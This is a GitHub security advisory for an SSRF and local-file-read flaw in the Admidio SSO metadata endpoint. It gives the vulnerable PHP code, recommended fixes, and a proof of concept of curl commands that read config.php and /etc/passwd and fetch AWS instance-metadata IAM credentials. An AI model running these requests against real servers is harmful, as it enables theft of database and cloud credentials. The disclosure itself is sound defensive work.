GHSA-6J68-GCC3-MQ73
Vulnerability from github – Published: 2026-03-16 21:17 – Updated: 2026-03-16 21:57Summary
The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.
Details
Vulnerable Code
File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
http_response_code(500);
echo "Failed to fetch metadata";
exit;
}
echo $metadata;
FILTER_VALIDATE_URL Does Not Block Dangerous Schemes
PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():
| Scheme | Impact |
|---|---|
file:///etc/passwd |
Read any local file the web server process can access |
http://127.0.0.1/ |
SSRF to localhost services (databases, admin panels, internal APIs) |
http://169.254.169.254/latest/meta-data/ |
AWS EC2 instance metadata (IAM credentials) |
data://text/plain,payload |
Data URI content injection |
Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:
php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd" <-- passes validation
php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash <-- file contents returned
file:// Does Not Require allow_url_fopen
PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.
Response Is Returned Verbatim
The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.
PoC
Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///var/www/html/adm_my_files/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)
Impact
- Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's
config.php(database credentials),/etc/passwd, private keys stored in the web root, and.envfiles. - Database Credential Theft: Reading
config.phpexposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
- Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
- Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.
Recommended Fix
Fix 1: Restrict to HTTPS scheme and block internal IP ranges
$rawUrl = $_GET['url'] ?? '';
// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
http_response_code(400);
echo "Only HTTPS URLs are permitted";
exit;
}
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
http_response_code(400);
echo "URL resolves to a private or reserved IP address";
exit;
}
$metadata = file_get_contents($url);
Fix 2: Use cURL with explicit scheme restriction
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.6"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32812"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T21:17:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET[\u0027url\u0027]`, validates it only with PHP\u0027s `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.\n\n## Details\n\n### Vulnerable Code\n\nFile: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34\n\n```php\n$url = filter_var($_GET[\u0027url\u0027], FILTER_VALIDATE_URL);\nif (!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Fetch metadata from external server\n$metadata = file_get_contents($url);\nif ($metadata === false) {\n http_response_code(500);\n echo \"Failed to fetch metadata\";\n exit;\n}\n\necho $metadata;\n```\n\n### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes\n\nPHP\u0027s `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:\n\n| Scheme | Impact |\n|--------|--------|\n| `file:///etc/passwd` | Read any local file the web server process can access |\n| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |\n| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |\n| `data://text/plain,payload` | Data URI content injection |\n\nConfirmed by testing PHP\u0027s filter_var() and file_get_contents() with all of the above:\n\n```\nphp -r \"var_dump(filter_var(\u0027file:///etc/passwd\u0027, FILTER_VALIDATE_URL));\"\n// string(18) \"file:///etc/passwd\" \u003c-- passes validation\n\nphp -r \"echo file_get_contents(\u0027file:///etc/passwd\u0027);\"\n// root:x:0:0:root:/root:/bin/bash \u003c-- file contents returned\n```\n\n### file:// Does Not Require allow_url_fopen\n\nPHP\u0027s `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.\n\n### Response Is Returned Verbatim\n\nThe fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.\n\n## PoC\n\n**Prerequisites:** Administrator account session cookie and CSRF token.\n\n**Step 1: Read the Admidio database configuration file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=file:///var/www/html/adm_my_files/config.php\"\n```\n\nExpected response: Full contents of config.php including the database host, username, and password in plaintext.\n\n**Step 2: Read system password file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=file:///etc/passwd\"\n```\n\n**Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\nExpected response: IAM role name followed by temporary AWS access key and secret.\n\n**Step 4: SSRF to an internal service on localhost**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cadmin_session\u003e\" \\\n --data-urlencode \"url=http://127.0.0.1:6379/\"\n```\n\n(Probes a Redis instance on localhost.)\n\n## Impact\n\n- **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio\u0027s `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files.\n- **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.\n- **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.\n- **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.\n- **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.\n\n## Recommended Fix\n\n### Fix 1: Restrict to HTTPS scheme and block internal IP ranges\n\n```php\n$rawUrl = $_GET[\u0027url\u0027] ?? \u0027\u0027;\n\n// Only allow https:// scheme\nif (\\!preg_match(\u0027#^https://#i\u0027, $rawUrl)) {\n http_response_code(400);\n echo \"Only HTTPS URLs are permitted\";\n exit;\n}\n\n$url = filter_var($rawUrl, FILTER_VALIDATE_URL);\nif (\\!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Resolve hostname and block internal/private IP ranges\n$host = parse_url($url, PHP_URL_HOST);\n$ip = gethostbyname($host);\nif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n http_response_code(400);\n echo \"URL resolves to a private or reserved IP address\";\n exit;\n}\n\n$metadata = file_get_contents($url);\n```\n\n### Fix 2: Use cURL with explicit scheme restriction\n\n```php\n$ch = curl_init($url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n$metadata = curl_exec($ch);\ncurl_close($ch);\n```\n\nNote: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.",
"id": "GHSA-6j68-gcc3-mq73",
"modified": "2026-03-16T21:57:59Z",
"published": "2026-03-16T21:17:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.